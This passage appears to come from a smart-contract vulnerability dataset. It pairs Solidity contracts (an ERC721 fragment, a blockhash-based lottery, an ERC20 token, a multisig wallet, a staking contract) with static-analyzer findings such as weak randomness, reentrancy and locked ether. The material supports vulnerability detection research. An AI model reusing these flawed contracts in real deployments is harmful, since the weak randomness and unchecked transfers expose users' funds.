safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public {
transferFrom(from, to, tokenId);
if (to.code.length != 0) {
// selector = `onERC721Received(address,address,uint,bytes)`
(, bytes memory returned) = to.staticcall(
abi.encodeWithSelector(0x150b7a02, msg.sender, from, tokenId, data)
);
bytes4 selector = abi.decode(returned, (bytes4));
require(selector == 0x150b7a02, "NOT_ERC721_RECEIVER");
}
}
/*///////////////////////////////////////////////////////////////
INTERNAL UTILS
//////////////////////////////////////////////////////////////*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal {
require(ownerOf[tokenId] == from);
_beforeTokenTransfer(from, to, tokenId);
balanceOf[from]--;
balanceOf[to]++;
delete getApproved[tokenId];
ownerOf[tokenId] = to;
emit Transfer(msg.sender, to, tokenId);
}
function _mint(address to, uint256 tokenId) internal {
require(ownerOf[tokenId] == address(0), "ALREADY_MINTED");
// This is safe because the sum of all user
// balances can't exceed type(uint256).max!
unchecked {
balanceOf[to]++;
}
ownerOf[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal {
address owner_ = ownerOf[tokenId];
require(owner_ != address(0), "NOT_MINTED");
_beforeTokenTransfer(owner_, address(0), tokenId);
balanceOf[owner_]--;
delete ownerOf[tokenId];
emit Transfer(owner_, address(0), tokenId);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) reentrancy-no-eth with Medium impact
3) unchecked-transfer with High impact
4) incorrect-equality with Medium impact
5) uninitialized-local with Medium impact
6) weak-prng with High impact |
pragma solidity ^0.4.25;
contract P3Daily {
using SafeMath for uint256;
struct Round {
uint256 pot;
uint256 ticketsSold;
uint256 blockNumber;
uint256 startTime;
mapping(uint256 => address) tickets;
mapping(address => uint256) ticketsPerAddress;
}
HourglassInterface constant p3dContract = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe);
address constant sacMasternode = address(0x4fac33dAbFd83d160717dFee4175d9cAaA249CA5);
address constant dev = address(0xF0EA6CE7d210Ee58e83a463Af13989B5c2DbE108);
uint256 constant public PRICE_PER_TICKET = 0.01 ether;
uint256 constant public ROUND_LENGTH = 24 hours;
mapping(uint256 => Round) public rounds;
mapping(address => uint256) private vault;
uint256 public currentRoundNumber;
event TicketsPurchased(address indexed player, uint256 indexed amount);
event LotteryWinner(address indexed winner, uint256 indexed winnings, uint256 indexed ticket);
event WithdrawVault(address indexed player, uint256 indexed amaount);
event Validator(address indexed validator, uint256 indexed reward);
modifier isValidPurchase(uint256 _howMany)
{
require(_howMany > 0);
require(msg.value == _howMany.mul(PRICE_PER_TICKET));
_;
}
modifier canPayFromVault(uint256 _howMany)
{
require(_howMany > 0);
require(vault[msg.sender] >= _howMany.mul(PRICE_PER_TICKET));
_;
}
modifier positiveVaultBalance()
{
require(vault[msg.sender] > 0);
_;
}
constructor()
public
{
currentRoundNumber = 0;
rounds[currentRoundNumber] = Round(0, 0, 0, now);
}
function() external payable {}
function isRoundOver()
public
view
returns(bool)
{
return now >= rounds[currentRoundNumber].startTime.add(ROUND_LENGTH);
}
function potentialWinner()
external
view
returns(address)
{
if(isRoundOver() &&
rounds[currentRoundNumber].blockNumber != 0 &&
block.number - 256 <= rounds[currentRoundNumber].blockNumber &&
rounds[currentRoundNumber].blockNumber != block.number) {
uint256 potentialwinningTicket = uint256(blockhash(rounds[currentRoundNumber].blockNumber)) % rounds[currentRoundNumber].ticketsSold;
return rounds[currentRoundNumber].tickets[potentialwinningTicket];
}
return address(0);
}
function blocksUntilNewPotentialWinner()
external
view
returns (uint256)
{
if(isRoundOver() &&
rounds[currentRoundNumber].blockNumber != 0 &&
block.number - 256 <= rounds[currentRoundNumber].blockNumber &&
rounds[currentRoundNumber].blockNumber != block.number) {
return 256 - (block.number - rounds[currentRoundNumber].blockNumber);
}
return 0;
}
function getTicketOwner(uint256 _number)
external
view
returns(address)
{
return rounds[currentRoundNumber].tickets[_number];
}
function ticketsPurchased()
external
view
returns(uint256)
{
return rounds[currentRoundNumber].ticketsSold;
}
function timeLeft()
external
view
returns(uint256)
{
if(isRoundOver()) {
return 0;
}
return ROUND_LENGTH.sub(now.sub(rounds[currentRoundNumber].startTime));
}
function jackpotSize()
external
view
returns(uint256)
{
return rounds[currentRoundNumber].pot.add(p3dContract.myDividends(true)).mul(97) / 100;
}
function validatorReward()
external
view
returns(uint256)
{
return rounds[currentRoundNumber].pot.add(p3dContract.myDividends(true)) / 100;
}
function myVault()
external
view
returns(uint256)
{
return vault[msg.sender];
}
function myTickets()
external
view
returns(uint256)
{
return rounds[currentRoundNumber].ticketsPerAddress[msg.sender];
}
function purchaseTicket(uint256 _howMany)
external
payable
isValidPurchase(_howMany)
{
if(!isRoundOver() || onRoundEnd()) {
acceptPurchase(_howMany, msg.value);
} else {
vault[msg.sender] = vault[msg.sender].add(msg.value);
}
}
function purchaseFromVault(uint256 _howMany)
external
canPayFromVault(_howMany)
{
if(!isRoundOver() || onRoundEnd()) {
uint256 value = _howMany.mul(PRICE_PER_TICKET);
vault[msg.sender] -= value;
acceptPurchase(_howMany, value);
}
}
function validate()
external
{
require(isRoundOver());
onRoundEnd();
}
function withdrawFromVault()
external
positiveVaultBalance
{
uint256 amount = vault[msg.sender];
vault[msg.sender] = 0;
emit WithdrawVault(msg.sender, amount);
msg.sender.transfer(amount);
}
function onRoundEnd()
private
returns(bool newRound)
{
//no tickets sold => create new round
if(rounds[currentRoundNumber].ticketsSold == 0) {
currentRoundNumber++;
rounds[currentRoundNumber] = Round(0, 0, 0, now);
return true;
}
//blocknumber has not been chosen or is too old => set new one
if(rounds[currentRoundNumber].blockNumber == 0 || block.number - 256 > rounds[currentRoundNumber].blockNumber) {
rounds[currentRoundNumber].blockNumber = block.number;
return false;
}
//can't determine hash of current block
if(block.number == rounds[currentRoundNumber].blockNumber) {return false;}
//determine winner
uint256 winningTicket = uint256(blockhash(rounds[currentRoundNumber].blockNumber)) % rounds[currentRoundNumber].ticketsSold;
address winner = rounds[currentRoundNumber].tickets[winningTicket];
uint256 totalWinnings = rounds[currentRoundNumber].pot;
uint256 dividends = p3dContract.myDividends(true);
if(dividends > 0) {
p3dContract.withdraw();
totalWinnings = totalWinnings.add(dividends);
}
//winner reward
uint256 winnings = totalWinnings.mul(97) / 100;
vault[winner] = vault[winner].add(winnings);
emit LotteryWinner(winner, winnings, winningTicket);
//validator reward
vault[msg.sender] = vault[msg.sender].add(totalWinnings / 100);
emit Validator(msg.sender, totalWinnings / 100);
//dev fee
vault[dev] = vault[dev].add(totalWinnings.mul(2) / 100);
currentRoundNumber++;
rounds[currentRoundNumber] = Round(0, 0, 0, now);
return true;
}
function acceptPurchase(uint256 _howMany, uint256 value)
private
{
uint256 ticketsSold = rounds[currentRoundNumber].ticketsSold;
uint256 boundary = _howMany.add(ticketsSold);
for(uint256 i = ticketsSold; i < boundary; i++) {
rounds[currentRoundNumber].tickets[i] = msg.sender;
}
rounds[currentRoundNumber].ticketsSold = boundary;
rounds[currentRoundNumber].pot = rounds[currentRoundNumber].pot.add(value.mul(60) / 100);
rounds[currentRoundNumber].ticketsPerAddress[msg.sender] = rounds[currentRoundNumber].ticketsPerAddress[msg.sender].add(_howMany);
emit TicketsPurchased(msg.sender, _howMany);
p3dContract.buy.value(value.mul(40) / 100)(sacMasternode);
}
}
interface HourglassInterface {
function buy(address _playerAddress) payable external returns(uint256);
function withdraw() external;
function myDividends(bool _includeReferralBonus) external view returns(uint256);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) reentrancy-no-eth with Medium impact
3) incorrect-equality with Medium impact
4) unused-return with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'CHL' 'Chelle' token contract
//
// Symbol : CHL
// Name : Chelle
// Total supply: 40,000,000.0000000000
// Decimals : 10
//
// Enjoy.
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial CHL supply
// ----------------------------------------------------------------------------
contract CHLToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function CHLToken() public {
symbol = "CHL";
name = "Chelle";
decimals = 10;
_totalSupply = 40000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.6.0;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[email protected]>
contract MultisigWithTimelock {
/*
* Events
*/
event Confirmation(address indexed sender, uint256 indexed transactionId);
event Revocation(address indexed sender, uint256 indexed transactionId);
event Submission(uint256 indexed transactionId);
event Execution(uint256 indexed transactionId);
event ExecutionFailure(uint256 indexed transactionId);
event Deposit(address indexed sender, uint256 value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint256 required);
event NewDelay(uint256 indexed newDelay);
/*
* Constants
*/
uint256 public constant MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping(uint256 => Transaction) public transactions;
mapping(uint256 => mapping(address => bool)) public confirmations;
mapping(address => bool) public isOwner;
mapping(uint256 => uint256) public timelocks;
address[] public owners;
uint256 public required;
uint256 public transactionCount;
uint256 public delay = 2 minutes;
struct Transaction {
address destination;
uint256 value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint256 transactionId) {
require(transactions[transactionId].destination != address(0));
_;
}
modifier confirmed(uint256 transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint256 transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint256 transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != address(0));
_;
}
modifier validRequirement(uint256 ownerCount, uint256 _required) {
require(
ownerCount <= MAX_OWNER_COUNT &&
_required <= ownerCount &&
_required != 0 &&
ownerCount != 0
);
_;
}
/// @dev Fallback function allows to deposit ether.
receive() external payable {
if (msg.value > 0) emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint256 _required)
public
validRequirement(_owners.length, _required)
{
for (uint256 i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0));
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner) public onlyWallet ownerExists(owner) {
isOwner[owner] = false;
for (uint256 i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.pop();
if (required > owners.length) changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint256 i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint256 _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
function setDelay(uint256 _delay) public {
require(msg.sender == address(this));
delay = _delay;
emit NewDelay(delay);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return transactionId Returns transaction ID.
function submitTransaction(
address destination,
uint256 value,
bytes memory data
) public returns (uint256 transactionId) {
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint256 transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint256 transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint256 transactionId)
public
virtual
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId) && timelocks[transactionId] < now) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (
external_call(
txn.destination,
txn.value,
txn.data.length,
txn.data
)
) emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(
address destination,
uint256 value,
uint256 dataLength,
bytes memory data
) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas(), 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint256 transactionId) public view returns (bool) {
uint256 count = 0;
for (uint256 i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) count += 1;
if (count == required) return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return transactionId Returns transaction ID.
function addTransaction(
address destination,
uint256 value,
bytes memory data
) internal virtual notNull(destination) returns (uint256 transactionId) {
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
timelocks[transactionId] = now + delay;
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return count Number of confirmations.
function getConfirmationCount(uint256 transactionId)
public
view
returns (uint256 count)
{
for (uint256 i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return count Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint256 count)
{
for (uint256 i = 0; i < transactionCount; i++)
if (
(pending && !transactions[i].executed) ||
(executed && transactions[i].executed)
) count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners() public view returns (address[] memory) {
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return _confirmations Returns array of owner addresses.
function getConfirmations(uint256 transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint256 count = 0;
uint256 i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return _transactionIds Returns array of transaction IDs.
function getTransactionIds(
uint256 from,
uint256 to,
bool pending,
bool executed
) public view returns (uint256[] memory _transactionIds) {
uint256[] memory transactionIdsTemp = new uint256[](transactionCount);
uint256 count = 0;
uint256 i;
for (i = 0; i < transactionCount; i++)
if (
(pending && !transactions[i].executed) ||
(executed && transactions[i].executed)
) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint256[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
| These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.5.8;
import "./IERC20.sol";
import "./TransferHelper.sol";
import "./ReentrancyGuard.sol";
import "./IPledgeMining.sol";
import "./SafeMath.sol";
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract PledgeMining is IPledgeMining, ReentrancyGuard, Owned {
IERC20 _tokenA;
IERC20 _tokenB;
using TransferHelper for address;
using SafeMath for uint;
uint256 periodUnit = 1 days;
bool public mining_state;
struct Record {
uint256 id;
uint256 createTime;
uint256 stopTime;
uint256 heaven;
uint256 scale;
uint256 pledgeAmount;
uint256 releaseAmount;
uint256 over; // 1 processing 2 over
}
mapping(address => Record []) miningRecords;
mapping(uint256 => uint256) public typeConfig;
constructor(address tokenA, address tokenB) public {
_tokenA = IERC20(tokenA);
_tokenB = IERC20(tokenB);
// pledge type config init
typeConfig[uint256(30)] = uint256(5);
typeConfig[uint256(60)] = uint256(12);
typeConfig[uint256(90)] = uint256(21);
typeConfig[uint256(120)] = uint256(32);
typeConfig[uint256(150)] = uint256(45);
typeConfig[uint256(180)] = uint256(60);
mining_state = true;
owner = msg.sender;
}
// Does not accept ETH
function() external payable {
revert();
}
modifier mining {
require(mining_state, "PLEDGE:STOP_MINING");
_;
}
function stop_mining(uint256 tokenAAmount, uint256 tokenBAmount) public nonReentrant onlyOwner {
if (tokenAAmount > 0) {
require(address(_tokenA).safeTransfer(msg.sender, tokenAAmount), "PLEDGE:SAFE_TRANSFER_ERROR");
}
if (tokenBAmount > 0) {
require(address(_tokenB).safeTransfer(msg.sender, tokenBAmount), "PLEDGE:SAFE_TRANSFER_ERROR");
}
mining_state = false;
}
function pledge(uint256 _amount, uint256 _type) public mining nonReentrant returns (uint256){
require(_amount >= (10 ** uint(18)), "PLEDGE:AMOUNT_ERROR");
require(typeConfig[_type] != uint256(0), "PLEDGE:TYPE_ERROR");
require(address(_tokenA).safeTransferFrom(msg.sender, address(this), _amount), "PLEDGE:SAFE_TRANSFER_FROM_ERROR");
uint256 scale = typeConfig[_type];
Record [] storage records = miningRecords[msg.sender];
uint256 _id = records.length;
records.push(Record(_id, block.timestamp, 0, _type, scale, _amount, 0, 1));
emit PledgeEvent(msg.sender, _amount, _type);
return _id;
}
function receiveIncomeInternal(uint256 _index) internal returns (uint256){
uint256 income = calcReceiveIncome(msg.sender, _index);
if (income > 0) {
Record storage r = miningRecords[msg.sender][_index];
r.releaseAmount = r.releaseAmount.add(income);
require(address(_tokenB).safeTransfer(msg.sender, income), "PLEDGE:SAFE_TRANSFER_ERROR");
emit ReceiveIncomeEvent(msg.sender, income, _index);
}
return (income);
}
function closeRenewal(uint256 _index) public nonReentrant {
Record storage r = miningRecords[msg.sender][_index];
require(r.over == uint256(1) && r.stopTime == uint256(0), "PLEDGE:UNABLE_TO_CLOSE_RENEWAL");
r.stopTime = block.timestamp.sub(r.createTime)
.div(r.heaven.mul(periodUnit)).add(1)
.mul(r.heaven.mul(periodUnit)).add(r.createTime);
}
function openRenewal(uint256 _index) public nonReentrant {
Record storage r = miningRecords[msg.sender][_index];
require(r.over == uint256(1) && r.stopTime > 0 && block.timestamp < r.stopTime, "PLEDGE:UNABLE_TO_OPEN_RENEWAL");
r.stopTime = uint256(0);
}
function receiveIncome(uint256 _index) public nonReentrant returns (uint256){
uint256 income = receiveIncomeInternal(_index);
require(income > 0, "PLEDGE:NO_EXTRA_INCOME");
return (income);
}
function removePledge(uint256 _index) public nonReentrant returns (uint256){
Record storage r = miningRecords[msg.sender][_index];
require(r.over == uint256(1) && r.stopTime > 0 && block.timestamp >= r.stopTime, "PLEDGE:NOT_EXPIRED");
uint256 income = receiveIncomeInternal(_index);
require(address(_tokenA).safeTransfer(msg.sender, r.pledgeAmount), "PLEDGE:SAFE_TRANSFER_ERROR");
r.over = uint256(2);
emit RemovePledgeEvent(msg.sender, r.pledgeAmount, _index);
return (income);
}
function calcReceiveIncome(address addr, uint256 _index) public view returns (uint256){
Record storage r = miningRecords[addr][_index];
require(r.over == uint256(1), "PLEDGE:RECORD_OVER");
uint256 oneTotal = r.pledgeAmount.mul(r.scale).div(uint256(1000));
uint256 _income = oneTotal.mul(block.timestamp.sub(r.createTime)).div(r.heaven.mul(periodUnit));
if (r.stopTime > 0) {
uint256 _total = oneTotal
.mul(r.stopTime.sub(r.createTime).div(r.heaven.mul(periodUnit)));
if (_income > _total) {
_income = _total;
}
}
_income = _income.sub(r.releaseAmount);
uint256 _balance = _tokenB.balanceOf(address(this));
if (_income > 0 && _income > _balance) {
_income = _balance;
}
return (_income);
}
function getTokens() public view returns (address, address){
return (address(_tokenA), address(_tokenB));
}
function getUserRecords(address addr, uint256 offset, uint256 size) public view returns (
uint256 [4] memory page,
uint256 [] memory data
){
require(offset >= 0);
require(size > 0);
Record [] storage records = miningRecords[addr];
uint256 lrSize = records.length;
uint256 len = 0;
uint256 prop_count = 8;
if (size > lrSize) {
size = lrSize;
}
data = new uint256[](size * prop_count);
if (lrSize == 0 || offset > (lrSize - 1)) {
return ([len, block.timestamp, lrSize, prop_count], data);
}
uint256 i = lrSize - 1 - offset;
uint256 iMax = 0;
if (offset <= (lrSize - size)) {
iMax = lrSize - size - offset;
}
while (i >= 0 && i >= iMax) {
Record memory r = records[i];
data[len * prop_count + 0] = r.id;
data[len * prop_count + 1] = r.createTime;
data[len * prop_count + 2] = r.stopTime;
data[len * prop_count + 3] = r.heaven;
data[len * prop_count + 4] = r.scale;
data[len * prop_count + 5] = r.pledgeAmount;
data[len * prop_count + 6] = r.releaseAmount;
data[len * prop_count + 7] = r.over;
len = len + 1;
if (i == 0) {
break;
}
i--;
}
return ([len, block.timestamp, lrSize, prop_count], data);
}
} | These are the vulnerabilities found
1) divide-before-multiply with Medium impact
2) tautology with Medium impact
3) reentrancy-no-eth with Medium impact
4) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "./IERC721.sol";
contract TheEnigmaV4Staker is ERC721 {
modifier stakingStarted() {
require(
startStakeDate != 0 && startStakeDate <= block.timestamp,
"You are too early"
);
_;
}
uint256 private startStakeDate = 1681879301;
address nullAddress = 0x0000000000000000000000000000000000000000;
address public minersAddress;
//Mapping of enigmaV4 to timestamp
mapping(uint256 => uint256) public tokenIdToTimeStamp;
//Mapping of enigmaV4 to staker
mapping(uint256 => address) public tokenIdToStaker;
//Mapping of staker to enigmaV4
mapping(address => uint256[]) public stakerToTokenIds;
// Mapping of address to its tokens with number of seconds for each token
mapping(address => mapping(uint256 => uint256)) public totalStakingTimeByTokenForAddress;
uint256 public totalTokensStaked = 0;
constructor() ERC721("TheEnigmaV4Staker", "ENGV4ST") {}
fallback() external payable { }
receive() external payable { }
function setEnigmaV4ContractAddress(address _minersAddress) external onlyOwner {
minersAddress = _minersAddress;
return;
}
/**
* @dev Sets the date that users can start staking and unstaking
*/
function setStartStakeDate(uint256 _startStakeDate)
external
onlyOwner
{
startStakeDate = _startStakeDate;
}
function getTokensStaked(address staker)
external
view
returns (uint256[] memory)
{
return stakerToTokenIds[staker];
}
function remove(address staker, uint256 index) internal {
if (index >= stakerToTokenIds[staker].length) return;
for (uint256 i = index; i < stakerToTokenIds[staker].length - 1; i++) {
stakerToTokenIds[staker][i] = stakerToTokenIds[staker][i + 1];
}
stakerToTokenIds[staker].pop();
}
